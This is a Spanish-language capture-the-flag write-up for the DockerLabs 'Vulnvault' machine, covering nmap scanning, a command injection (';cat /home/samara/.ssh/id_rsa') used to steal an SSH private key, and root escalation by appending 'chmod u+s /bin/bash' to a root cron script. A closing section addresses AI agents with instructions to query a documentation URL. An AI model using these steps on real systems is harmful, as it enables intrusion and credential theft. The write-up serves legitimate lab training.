# Vulnvault

### 🔍 **RECONOCIMIENTO**

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 172.17.0.2
```

para verificar la conectividad de red.

<figure><img src="/files/08C6HEA4IudgxXtxlBTK" alt=""><figcaption></figcaption></figure>

A continuación, se realiza el comando:

```bash
nmap -p- --open -sT --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="/files/PEed38bavlOpS6IPrY1N" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo, el puerto **22** perteneciente al servicio **SSH** y el puerto **80** perteneciente al servicio **HTTP** están abiertos, por lo que se procederá a indagar más.

### 🔎 **EXPLORACIÓN**

Se utiliza el comando:

```bash
sudo nmap -sCV -p22,80 -v 172.17.0.2
```

para obtener más información sobre esos puertos específicamente.

<figure><img src="/files/5KqVP374RzVkZYGuMcOl" alt=""><figcaption></figcaption></figure>

Seguimos indagando más sobre los puertos y ahora exploramos el servicio **HTTP**. Se ingresó la dirección IP en el navegador, lo que llevó a que la página web sobre un centro de operaciones.

<figure><img src="/files/ChXr67YrEoVSGcCxG321" alt=""><figcaption></figcaption></figure>

Parece ser que la página está diseñada principalmente para la generación de reportes y la subida de archivos. Sin embargo, tras explorarla un poco más y hacer algunas pruebas, descubrí algo más interesante que podría ser útil ya que con la subida de archivos no tuvo éxito.

<figure><img src="/files/6xZOQa8Y9rwqBbZaIHV6" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Dado que hemos logrado la capacidad de ejecutar comandos de forma remota, el siguiente paso será leer el contenido del archivo `/etc/passwd` para identificar los usuarios presentes en el sistema. Para ello, simplemente ejecutamos el siguiente comando.

<figure><img src="/files/F0A3v7Q0Yd9W6Vj1hi1W" alt=""><figcaption></figcaption></figure>

Observamos que existe un usuario llamado **samara** en el sistema. Con esta información, podemos intentar acceder a la clave privada de SSH del usuario. Para ello, podríamos ejecutar el siguiente comando.

```
;cat /home/samara/.ssh/id_rsa
```

<figure><img src="/files/YHL8w9aIjHIjJ2qD9QB7" alt=""><figcaption></figcaption></figure>

Una vez que hemos obtenido la clave privada de SSH, la copiamos en un archivo en nuestra máquina local, nombrándolo `id_rsa`. A continuación, le asignamos los permisos adecuados con el siguiente comando:

```bash
chmod 600 id_rsa
```

Con los permisos establecidos, nos conectamos al servidor mediante SSH utilizando la clave privada, ejecutando el siguiente comando:

```bash
ssh -i id_rsa samara@172.17.0.2
```

### 🔐 **PRIVILEGIOS**

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root.**&#x20;

Ahora que estamos dentro como el usuario "samara", encontramos un mensaje de root, pero no contiene nada relevante. Tras investigar un poco más, se me ocurre usar `pspy` para monitorear procesos en busca de alguna actividad oculta. Para ello, seguimos estos pasos:

1. Descargamos `pspy` en la máquina objetivo utilizando `wget`.
2. Asignamos los permisos de ejecución con:

   ```bash
   chmod +x pspy64
   ```
3. Finalmente, ejecutamos `pspy` con el siguiente comando:

   ```bash
   ./pspy64
   ```

Observamos que un script llamado `echo.sh` se ejecuta periódicamente con privilegios de root:

```bash
2024/08/26 23:31:32 CMD: UID=0     PID=626434 | /bin/bash /usr/local/bin/echo.sh
```

Para aprovechar esto, editamos el script utilizando `nano` y añadimos la siguiente línea al final:

```bash
chmod u+s /bin/bash
```

Guardamos los cambios con `Ctrl+O`, presionamos `Enter`, y salimos del editor con `Ctrl+X`. Ahora, solo necesitamos ejecutar el siguiente comando para obtener privilegios de root.

```bash
bash -p
```

Y así, ya somos **root**.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://beafn28.gitbook.io/beafn28/writeups/dockerlabs/vulnvault.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
